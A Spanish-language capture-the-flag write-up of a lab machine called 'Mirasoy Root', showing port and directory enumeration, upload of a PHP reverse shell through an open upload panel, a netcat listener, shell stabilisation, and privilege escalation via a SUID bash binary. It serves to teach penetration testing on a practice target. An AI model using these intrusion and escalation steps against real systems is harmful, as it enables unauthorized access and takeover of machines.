Escaneo general de puertos
Como siempre, empezamos con un escaneo general de los puertos que pudieran estar abiertos en nuestra víctima.
❯ sudo nmap -sS -p- --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allports
Host is up, received arp-response (0.0000010s latency).
Scanned at 2025-06-23 17:23:34 CEST for 0s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)
Escaneo específico de puertos
Una vez conocemos los puertos realizamos un escaneo específico de estos para conocer las versiones de estos. En este caso de los puertos 22(SSH) y 80 (HTTP).
❯ nmap -sCV -p22,80 172.17.0.2 -oN target
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 16:02:32:18:a0:9d:a8:db:45:c2:b5:35:24:f5:18:fb (ECDSA)
|_ 256 31:3a:fe:02:f6:97:26:62:19:c6:ce:6e:16:4b:6c:e6 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Mirasoy Root
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Reconocimiento de Servicio Web
Es importante saber lo que tenemos delante y la herramienta whatweb es muy útil para conocer como está creada la página web y lo que tiene detrás.
❯ whatweb http://172.17.0.2
http://172.17.0.2 [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[172.17.0.2], Title[Mirasoy Root]
Y si nos metemos en la dirección vemos el siguiente contenido.
Escaneo de Directorios
Siempre viene bien un texto tan revelador por ese, por lo que ya sabemos lo que toca. Fuzzear y buscar información interesante en la máquina.
❯ gobuster dir -u http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,html,txt,css,js
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: js,php,html,txt,css
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 744]
/.html (Status: 403) [Size: 275]
/upload (Status: 301) [Size: 309] [--> http://172.17.0.2/upload/]
/panel (Status: 301) [Size: 308] [--> http://172.17.0.2/panel/]
/.html (Status: 403) [Size: 275]
/.php (Status: 403) [Size: 275]
/server-status (Status: 403) [Size: 275]
===============================================================
Finished
===============================================================
Y en el directorio “panel” vemos un bonito panel de subida de archivos php. Y encima podemos acceder al directorio “upload” y generarnos una shell reversa.
Explotación
Creamos nuestro exploit, viene bien tambien si se quiere crear una webshell para prácticar o directamente una shell de nuestro amigo Pentest Monkey.
Intrusión
Una vez subido creamos una escucha con netcat y logramos acceso sin ningún problema.
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 50086
Linux a77fa3aa6e6a 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64 x86_64 x86_64 GNU/Linux
17:30:45 up 32 min, 0 user, load average: 1.09, 2.51, 1.33
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can\'t access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-Explotación
Al tener una sh, pues como siempre nos hacemos una shell bonita y realmente interactiva, que un Ctrl+Z no te arruine la fiesta.
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
bash-5.2$ ^Z
[1] + 37192 suspended nc -lvnp 4444
❯ stty raw -echo; fg
[1] + 37192 continued nc -lvnp 4444
reset xterm
bash-5.2$ export TERM=xterm
Escalada de Privilegios
No hay más usuarios a los que hacer movimiento lateral o pivoting, por lo que buscamos rápidamente una forma de escalar (nuestro momento favorito :D), en este caso directamente buscamos archivos con permisos SUID y vemos que la propia bash los tiene.
bash-5.2$ find / -perm -4000 2>/dev/null
/usr/local/bin/bash
/usr/bin/mount
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/su
/usr/bin/newgrp
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Pues sin problemas nos creamos una bash privilegiada (-p) y conseguimos ser el usuario root.
bash-5.2$ bash -p
bash-5.2# whoami
root
bash-5.2# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
bash-5.2# cd /root
bash-5.2# cat mirasoyroot.txt
Enhorabuena hacker has conseguido pasarte el reto si eres de los tres primero escribeme por instagram y te pondre en el podio. =)
¡Espero que os haya gustado y os haya servido de ayuda! ¡Hasta el próximo writeup!